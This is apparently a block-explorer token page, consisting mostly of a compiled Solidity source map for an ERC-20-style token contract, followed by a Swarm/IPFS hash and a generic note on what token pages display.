1:-1;;;;;1589:6:0;1151:10;1651:23;1643:68;;;;-1:-1:-1;;;1643:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;6151:14:0;;::::1;;::::0;;;:5:::1;:14;::::0;;;;:23;6077:105::o;8122:300::-;1151:10;8237:4;8331:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8331:34:0;;;;;;;;;;8237:4;;8259:133;;8309:7;;8331:50;;8370:10;8331:38;:50::i;6299:96::-;1562:7;1589:6;-1:-1:-1;;;;;1589:6:0;1151:10;1651:23;1643:68;;;;-1:-1:-1;;;1643:68:0;;;;;;;:::i;:::-;6382:5:::1;6361:9;:18;6371:7;1562::::0;1589:6;-1:-1:-1;;;;;1589:6:0;;1516:87;6371:7:::1;-1:-1:-1::0;;;;;6361:18:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6361:18:0;:26;-1:-1:-1;6299:96:0:o;1739:94::-;1562:7;1589:6;-1:-1:-1;;;;;1589:6:0;1151:10;1651:23;1643:68;;;;-1:-1:-1;;;1643:68:0;;;;;;;:::i;:::-;1804:21:::1;1822:1;1804:9;:21::i;:::-;1739:94::o:0;6504:95::-;6551:13;6584:7;6577:14;;;;;:::i;8430:400::-;8550:4;8572:228;1151:10;8622:7;8644:145;8701:15;8644:145;;;;;;;;;;;;;;;;;1151:10;8644:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8644:34:0;;;;;;;;;;;;:38;:145::i;7007:216::-;7129:4;7151:42;1151:10;7175:9;7186:6;7151:9;:42::i;1841:192::-;1562:7;1589:6;-1:-1:-1;;;;;1589:6:0;1151:10;1651:23;1643:68;;;;-1:-1:-1;;;1643:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1930:22:0;::::1;1922:73;;;::::0;-1:-1:-1;;;1922:73:0;;3089:2:1;1922:73:0::1;::::0;::::1;3071:21:1::0;3128:2;3108:18;;;3101:30;3167:34;3147:18;;;3140:62;-1:-1:-1;;;3218:18:1;;;3211:36;3264:19;;1922:73:0::1;3061:228:1::0;1922:73:0::1;2006:19;2016:8;2006:9;:19::i;:::-;1841:192:::0;:::o;3596:98::-;3654:7;3681:5;3685:1;3681;:5;:::i;:::-;3674:12;3596:98;-1:-1:-1;;;3596:98:0:o;10400:380::-;-1:-1:-1;;;;;10536:19:0;;10528:68;;;;-1:-1:-1;;;10528:68:0;;5086:2:1;10528:68:0;;;5068:21:1;5125:2;5105:18;;;5098:30;5164:34;5144:18;;;5137:62;-1:-1:-1;;;5215:18:1;;;5208:34;5259:19;;10528:68:0;5058:226:1;10528:68:0;-1:-1:-1;;;;;10615:21:0;;10607:68;;;;-1:-1:-1;;;10607:68:0;;3496:2:1;10607:68:0;;;3478:21:1;3535:2;3515:18;;;3508:30;3574:34;3554:18;;;3547:62;-1:-1:-1;;;3625:18:1;;;3618:32;3667:19;;10607:68:0;3468:224:1;10607:68:0;-1:-1:-1;;;;;10688:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10740:32;;5435:25:1;;;10740:32:0;;5408:18:1;10740:32:0;;;;;;;;10400:380;;;:::o;8836:709::-;-1:-1:-1;;;;;8976:20:0;;8968:70;;;;-1:-1:-1;;;8968:70:0;;4680:2:1;8968:70:0;;;4662:21:1;4719:2;4699:18;;;4692:30;4758:34;4738:18;;;4731:62;-1:-1:-1;;;4809:18:1;;;4802:35;4854:19;;8968:70:0;4652:227:1;8968:70:0;-1:-1:-1;;;;;9057:23:0;;9049:71;;;;-1:-1:-1;;;9049:71:0;;2685:2:1;9049:71:0;;;2667:21:1;2724:2;2704:18;;;2697:30;2763:34;2743:18;;;2736:62;-1:-1:-1;;;2814:18:1;;;2807:33;2857:19;;9049:71:0;2657:225:1;9049:71:0;-1:-1:-1;;;;;9149:13:0;;;;;;:5;:13;;;;;;9139:23;;;9131:87;;;;-1:-1:-1;;;9131:87:0;;3899:2:1;9131:87:0;;;3881:21:1;3938:2;3918:18;;;3911:30;3977:34;3957:18;;;3950:62;-1:-1:-1;;;4028:18:1;;;4021:49;4087:19;;9131:87:0;3871:241:1;9131:87:0;9312:108;9348:6;9312:108;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9312:17:0;;;;;;:9;:17;;;;;;;:108;:21;:108::i;:::-;-1:-1:-1;;;;;9292:17:0;;;;;;;:9;:17;;;;;;:128;;;;9454:20;;;;;;;:32;;9479:6;9454:24;:32::i;:::-;-1:-1:-1;;;;;9431:20:0;;;;;;;:9;:20;;;;;;;:55;;;;9502:35;;;;;;;;;;9530:6;5435:25:1;;5423:2;5408:18;;5390:76;4126:240:0;4246:7;4307:12;4299:6;;;;4291:29;;;;-1:-1:-1;;;4291:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4342:5:0;;;4126:240::o;2041:173::-;2097:16;2116:6;;-1:-1:-1;;;;;2133:17:0;;;-1:-1:-1;;;;;;2133:17:0;;;;;;2166:40;;2116:6;;;;;;;2166:40;;2097:16;2166:40;2041:173;;:::o;14::1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;111:2;63:124;;;:::o;192:196::-;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;325:6;317;310:22;272:2;353:29;372:9;353:29;:::i;393:270::-;461:6;469;522:2;510:9;501:7;497:23;493:32;490:2;;;543:6;535;528:22;490:2;571:29;590:9;571:29;:::i;:::-;561:39;;619:38;653:2;642:9;638:18;619:38;:::i;:::-;609:48;;480:183;;;;;:::o;668:338::-;745:6;753;761;814:2;802:9;793:7;789:23;785:32;782:2;;;835:6;827;820:22;782:2;863:29;882:9;863:29;:::i;:::-;853:39;;911:38;945:2;934:9;930:18;911:38;:::i;:::-;901:48;;996:2;985:9;981:18;968:32;958:42;;772:234;;;;;:::o;1011:264::-;1079:6;1087;1140:2;1128:9;1119:7;1115:23;1111:32;1108:2;;;1161:6;1153;1146:22;1108:2;1189:29;1208:9;1189:29;:::i;:::-;1179:39;1265:2;1250:18;;;;1237:32;;-1:-1:-1;;;1098:177:1:o;1280:190::-;1339:6;1392:2;1380:9;1371:7;1367:23;1363:32;1360:2;;;1413:6;1405;1398:22;1360:2;-1:-1:-1;1441:23:1;;1350:120;-1:-1:-1;1350:120:1:o;1875:603::-;1987:4;2016:2;2045;2034:9;2027:21;2077:6;2071:13;2120:6;2115:2;2104:9;2100:18;2093:34;2145:4;2158:140;2172:6;2169:1;2166:13;2158:140;;;2267:14;;;2263:23;;2257:30;2233:17;;;2252:2;2229:26;2222:66;2187:10;;2158:140;;;2316:6;2313:1;2310:13;2307:2;;;2386:4;2381:2;2372:6;2361:9;2357:22;2353:31;2346:45;2307:2;-1:-1:-1;2462:2:1;2441:15;-1:-1:-1;;2437:29:1;2422:45;;;;2469:2;2418:54;;1996:482;-1:-1:-1;;;1996:482:1:o;4117:356::-;4319:2;4301:21;;;4338:18;;;4331:30;4397:34;4392:2;4377:18;;4370:62;4464:2;4449:18;;4291:182::o;5660:229::-;5700:3;5731:1;5727:6;5724:1;5721:13;5718:2;;;-1:-1:-1;;;5757:33:1;;5813:4;5810:1;5803:15;5843:4;5764:3;5831:17;5718:2;-1:-1:-1;5874:9:1;;5708:181::o;5894:380::-;5973:1;5969:12;;;;6016;;;6037:2;;6091:4;6083:6;6079:17;6069:27;;6037:2;6144;6136:6;6133:14;6113:18;6110:38;6107:2;;;6190:10;6185:3;6181:20;6178:1;6171:31;6225:4;6222:1;6215:15;6253:4;6250:1;6243:15;6107:2;;5949:325;;;:::o

Swarm Source

ipfs://9f7cccfbe4b917003fd4c70d8c0ebfe558a20201fa3fd323857309c9cc52ba2a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.